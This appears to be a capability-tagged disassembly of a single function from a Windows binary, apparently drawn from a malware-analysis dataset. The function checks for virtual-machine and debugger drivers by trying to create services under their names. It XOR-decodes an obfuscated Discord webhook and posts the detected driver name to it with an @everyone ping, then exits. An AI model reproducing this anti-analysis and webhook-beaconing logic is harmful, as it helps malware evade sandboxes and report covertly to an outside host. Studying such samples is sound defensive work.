Function at 0x44bc70
Capabilities:
Create service
Delete service
Encode data using xor
Terminate process

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x47604c
mov eax, dword fs:[0]
push eax
push ebx
mov eax, 0x1b98
call fcn.00474050
mov eax, dword [0x49400c]
xor eax, ebp
mov dword [ebp - 0x14], eax
push esi
push edi
push eax
lea eax, [ebp - 0xc]
mov dword fs:[0], eax
mov dword [ebp - 0x78], str.HttpDebuggerSdk.sys
lea esi, [ebp - 0x78]
mov dword [ebp - 0x74], str.balloon.sys
mov dword [ebp - 0x70], str.netkvm.sys
mov dword [ebp - 0x6c], str.pvpanic.sys
mov dword [ebp - 0x68], str.viofs.sys
mov dword [ebp - 0x64], str.viogpudo.sys
mov dword [ebp - 0x60], str.vioinput.sys
mov dword [ebp - 0x5c], str.viorng.sys
mov dword [ebp - 0x58], str.vioscsi.sys
mov dword [ebp - 0x54], str.vioser.sys
mov dword [ebp - 0x50], str.viostor.sys
mov dword [ebp - 0x4c], str.vmnet.sys
mov dword [ebp - 0x48], str.vmmouse.sys
mov dword [ebp - 0x44], str.vmusb.sys
mov dword [ebp - 0x40], str.vm3dmp.sys
mov dword [ebp - 0x3c], str.vmhgfs.sys
mov dword [ebp - 0x38], str.vmmemctl.sys
mov dword [ebp - 0x34], str.vmrawdsk.sys
mov dword [ebp - 0x30], str.vmusbmouse.sys
mov dword [ebp - 0x2c], str.vmkdb.sys
mov dword [ebp - 0x28], str.VBoxMouse.sys
mov dword [ebp - 0x24], str.VBoxGuest.sys
mov dword [ebp - 0x20], str.VBoxSF.sys
mov dword [ebp - 0x1c], str.VBoxVideo.sys
mov eax, dword [esi]
push 0xf003f
push 0
push 0
mov dword [ebp - 0x15a4], eax
call dword [sym.imp.ADVAPI32.dll_OpenSCManagerA]
push 0
push 0
push 0
push 0
push 0
push 0
push 0
push 3
push 1
push 0xf01ff
mov edi, eax
mov eax, dword [esi]
push eax
push eax
push edi
call dword [sym.imp.ADVAPI32.dll_CreateServiceA]
mov dword [ebp - 0x15b0], eax
test eax, eax
jne 0x44bdd4
push edi
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
add esi, 4
lea eax, [ebp - 0x18]
cmp esi, eax
jne 0x44bd60
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.00472e83
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push eax
call dword [sym.imp.ADVAPI32.dll_CloseServiceHandle]
push dword [ebp - 0x15b0]
call dword [sym.imp.ADVAPI32.dll_DeleteService]
mov eax, dword [ebp - 0x15a4]
lea ecx, [ebp - 0xa8]
push eax
call fcn.004666f0
mov dword [ebp - 4], 0
lea ecx, [ebp - 0x90]
push 0x4797c6
mov dword [ebp - 0x15b8], 0
mov dword [ebp - 0x15b4], 0
call fcn.004666f0
push 1
push 0xc
sub esp, 0xc
mov byte [ebp - 4], 1
movq xmm0, qword [ebp - 0x15b8]
lea ecx, [ebp - 0x15a0]
mov eax, esp
push 1
push 1
push 0
movq qword [eax], xmm0
push 0
mov dword [eax + 8], 0
lea eax, [ebp - 0x90]
push 0x317efd
push eax
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::cluster::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___unsigned_int__unsigned_int__unsigned_int__unsigned_int__bool__struct_dpp::cache_policy_t__unsigned_int__unsigned_int_]
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 3
call fcn.004665d0
sub esp, 0x28
push esp
call dword [sym.imp.dpp.dll_class_std::function_void____cdecl___struct_dpp::log_t_const______cdecl_dpp::utility::cout_logger_void_]
add esp, 4
lea ecx, [ebp - 0x1370]
call fcn.00465a10
movaps xmm0, xmmword [0x489680]
xor ecx, ecx
movups xmmword [ebp - 0x1668], xmm0
mov dword [ebp - 0x15f8], 0x3105322d
movaps xmm0, xmmword [0x489720]
movups xmmword [ebp - 0x1658], xmm0
mov dword [ebp - 0x15f4], 0x153b065b
movaps xmm0, xmmword [0x48b1f0]
movups xmmword [ebp - 0x1648], xmm0
mov word [ebp - 0x15f0], 0x3253
movaps xmm0, xmmword [0x48a3a0]
movups xmmword [ebp - 0x1638], xmm0
mov byte [ebp - 0x15ee], 0
movaps xmm0, xmmword [0x48afb0]
movups xmmword [ebp - 0x1628], xmm0
movaps xmm0, xmmword [0x48b010]
movups xmmword [ebp - 0x1618], xmm0
movaps xmm0, xmmword [0x48a010]
movups xmmword [ebp - 0x1608], xmm0
nop dword [eax]
nop word [eax + eax]
mov al, byte [ebp - 0x1668]
xor byte [ebp + ecx - 0x1667], al
inc ecx
cmp ecx, 0x79
jb 0x44bf20
lea eax, [ebp - 0x1667]
mov byte [ebp - 0x15ee], 0
push eax
lea ecx, [ebp - 0x1680]
call fcn.004666f0
lea eax, [ebp - 0x1680]
mov byte [ebp - 4], 4
push eax
lea ecx, [ebp - 0x130]
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::webhook::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
lea ecx, [ebp - 0x1680]
mov byte [ebp - 4], 6
call fcn.004665d0
push 0x4797c6
lea ecx, [ebp - 0x90]
call fcn.004666f0
xorps xmm0, xmm0
mov byte [ebp - 4], 7
lea ecx, [ebp - 0x16f8]
movlpd qword [ebp - 0x15b8], xmm0
call fcn.0043d500
mov edx, eax
mov byte [ebp - 4], 8
xor ecx, ecx
movaps xmm0, xmmword [0x48b060]
movups xmmword [ebp - 0x15e4], xmm0
mov dword [ebp - 0x15c4], 0x4a4a405e
movaps xmm0, xmmword [0x48b160]
movups xmmword [ebp - 0x15d4], xmm0
mov dword [ebp - 0x15c0], 0x5a23212d
mov dword [ebp - 0x15bc], 0x694a4a
nop
mov al, byte [ebp - 0x15e4]
xor byte [ebp + ecx - 0x15e3], al
inc ecx
cmp ecx, 0x2a
jb 0x44bfe0
push edx
lea edx, [ebp - 0x15e3]
mov byte [ebp - 0x15b9], 0
lea ecx, [ebp - 0x16e0]
call fcn.00467de0
add esp, 4
push str._n_:spoilervn:1043856480555778058__.SYS:_t
mov edx, eax
mov byte [ebp - 4], 9
lea ecx, [ebp - 0x16c8]
call fcn.00467eb0
add esp, 4
lea ecx, [ebp - 0xa8]
mov byte [ebp - 4], 0xa
push ecx
mov edx, eax
lea ecx, [ebp - 0x16b0]
call fcn.00467f20
add esp, 4
push str._n__everyone
mov edx, eax
mov byte [ebp - 4], 0xb
lea ecx, [ebp - 0x1698]
call fcn.00467eb0
add esp, 4
push 0
push eax
lea ecx, [ebp - 0x1ba8]
mov byte [ebp - 4], 0xc
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::message::constructor_class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const___enum_dpp::message_type_]
mov esi, eax
lea eax, [ebp - 0x90]
mov byte [ebp - 4], 0xd
push eax
sub esp, 8
lea eax, [ebp - 0x15b8]
mov ecx, esp
push eax
call dword [sym.imp.dpp.dll_public:_void___thiscall_dpp::snowflake::constructor_unsigned_long_long_unsigned___int64__const__]
push 0
push esi
lea eax, [ebp - 0x130]
push eax
lea eax, [ebp - 0x1950]
push eax
lea ecx, [ebp - 0x15a0]
call dword [sym.imp.dpp.dll_public:_struct_dpp::message___thiscall_dpp::cluster::execute_webhook_sync_class_dpp::webhook_const___struct_dpp::message_const___bool__class_dpp::snowflake__class_std::basic_string_char__struct_std::char_traits_char___class_std::allocator_char___const__]
mov esi, dword [sym.imp.dpp.dll_public_virtual:_void___thiscall_dpp::message::destructor_void_]
lea ecx, [ebp - 0x1950]
call esi
lea ecx, [ebp - 0x1ba8]
call esi
lea ecx, [ebp - 0x1698]
call fcn.004665d0
lea ecx, [ebp - 0x16b0]
call fcn.004665d0
lea ecx, [ebp - 0x16c8]
call fcn.004665d0
lea ecx, [ebp - 0x16e0]
call fcn.004665d0
lea ecx, [ebp - 0x16f8]
call fcn.004665d0
lea ecx, [ebp - 0x90]
mov byte [ebp - 4], 6
call fcn.004665d0
cmp byte [0x49527d], 0
je 0x44c150
lea eax, [ebp - 0xa8]
mov edx, str.encontrou_o_sys
push eax
lea ecx, [ebp - 0x90]
call fcn.00467d80
add esp, 4
lea ecx, [ebp - 0x90]
push 0
push 0x486c98
call fcn.00466330
push eax
push 0
call dword [sym.imp.USER32.dll_MessageBoxA]
lea ecx, [ebp - 0x90]
call fcn.004665d0
push 1
call dword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_exit]
int3